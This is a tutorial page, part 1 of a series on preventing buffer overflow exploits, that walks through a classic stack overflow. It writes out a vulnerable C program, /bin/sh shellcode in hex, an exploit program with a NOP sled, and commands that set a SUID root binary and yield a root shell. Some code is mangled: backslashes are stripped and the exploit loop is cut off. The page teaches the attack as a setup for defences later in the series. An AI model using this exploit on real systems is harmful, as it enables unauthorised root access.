GuidesPreventing Buffer Overflow Exploits, Part 1 Page 3

Preventing Buffer Overflow Exploits, Part 1 Page 3

ServerWatch content and product recommendations are editorially independent. We may make money when you click on links to our partners. Learn More.




Buffer Overflow Exploit in Action

A successful buffer overflow exploit has four steps:

  1. Find a process that is vulnerable to the buffer overflow exploits
  2. In order to inject the most damage, the process should run with root privileges.
  3. Decide what to execute as a result of buffer overflow exploit
  4. Find a way from the vulnerable process to start the chosen process

For our exercise, we created the following program that we will try to overflow (Listing 3):

void main(int argc, char *argv[]) 
{
char buffer[512];
  
if (argc > 1)
strcpy(buffer,argv[1]);
}

Listing 3: vulnerable.c

The sample program in Listing 3 copies the input string to its internal buffer without checking the buffer size. Our target result is to have a process runs with root privileges; this way, when the buffer overflow exploits takes place, the result will be gaining root privileges. Usually a process takes the privileges of the user that started it. However, in the case of a SUID process, the program inherits the privileges of the executable file, not the user, when executed. Therefore, we assume that our executable file (vulnerable) was created with root privileges.

Now, we must decide which program to run because of a buffer overflow exploit. In this example, we will start the shell with root privileges. The code looks as follows (Listing 4):

#include 

void main()
{
char *name[2];

name[0] = “/bin/sh”;
name[1] = NULL;

execve(name[0], name, NULL);
}

Listing 4: shellcode.c

We need to find a machine code representation of the above C code,  to store it in the overflowing buffer. The code must be position independent because we do not know what will be the address of the local buffer on the stack. The code cannot contain any ” byte because the strcpy function will stop copying after finding such a character. To find out how the code looks like in assembly language, we compile it and start the GDB debugger:

$ gcc  -o shellcode –ggdb –static shellcode.c
$ gdb shellcode
$ (gdb) disassemble main
$ (gdb) x/bx main+1
$ (gdb) x/bx main+2 (and so on...)

After modifying the assembler code that it is position independent, finding out its machine representation and replacing all ” characters, we will get a code in the machine language, which can be stored in a buffer (the details of obtaining such code can be found here):

char shellcode[] =
    "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
    "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
     "x80xe8xdcxffxffxff/bin/sh";

Listing 5: shell code in hex notation

This buffer (Listing 5) contains the code that will run as the result of the overflow exploit.

So far, we have one program used as a vulnerable program (Listing 3). We will now create the program that we will use as the exploit program (Listing 6):

#include 
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             612
#define NOP                            0x90

char shellcode[] =
        "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" 
        "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff/bin/sh";

unsigned long get_esp(void) {
      __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
      char *buff, *ptr, *egg;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i;

      if (argc > 1) bsize   = atoi(argv[1]);
      if (argc > 2) offset  = atoi(argv[2]);

      if (!(buff = malloc(bsize))) {
             printf("Can't allocate memory.n");
             exit(0);
      }


      addr = get_esp() - offset;
      printf("Using address: 0x%xn", addr);

      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i 

Listing 6: exploit.c Demonstrating a Buffer Overflow exploit

The purpose of this sample exercise is to demonstrate a buffer overflow exploit; we will later use the same example when we prevent this exploit using the DSM module. To demonstrate the exploit, please follow these steps:

  1. Compile exploit.c and vulnerable.c programs:
    $gcc –o exploit exploit.c
    $gcc –o vulnerable vulnerable.c
    
  2. Modify the link of /bin/sh in case it is bash or tcsh. The reason is that bash and tcsh restrict setuid execution of itself; therefore we must create link to another shell:
    $ su
    $ cd /bin
    $ mv sh sh.bak
    $ ln –s ash sh
    $ exit
    
  3. Change the user of the vulnerable executable and set the setuid bit; this will set the userid of the current user to the one of the owner when executing this program:
    $su
    $chown root:root vulnerable
    $chmod +s vulnerable
    $exit
    
  4. Create the buffer in an environment variable as a normal user:
    $whoami
    user
    $./exploit
    
  5. Execute the vulnerable program:
    $./vulnerable $RET
    

    At this point, we should have gained root privileges:

    $whoami
    root 
    

    Et Voilà! The shell is started with root privileges. Very simple procedure, yet very dangerous.

  6. Next, we exit from the buffer overflow and the exploit spanned shell:
    $exit 
    $exit   
    
  7. Restore the original shell
    $ mv sh.bak sh
    

In this exercise, we demonstrated how to invoke a buffer overflow exploit using very simple programs. In Part 2, we will list existing solutions and go into details on how to prevent such unfortunate incidents using DSM.

This article was originally published on LinuxPlanet.

Get the Free Newsletter!

Subscribe to Daily Tech Insider for top news, trends & analysis

Latest Posts

Related Stories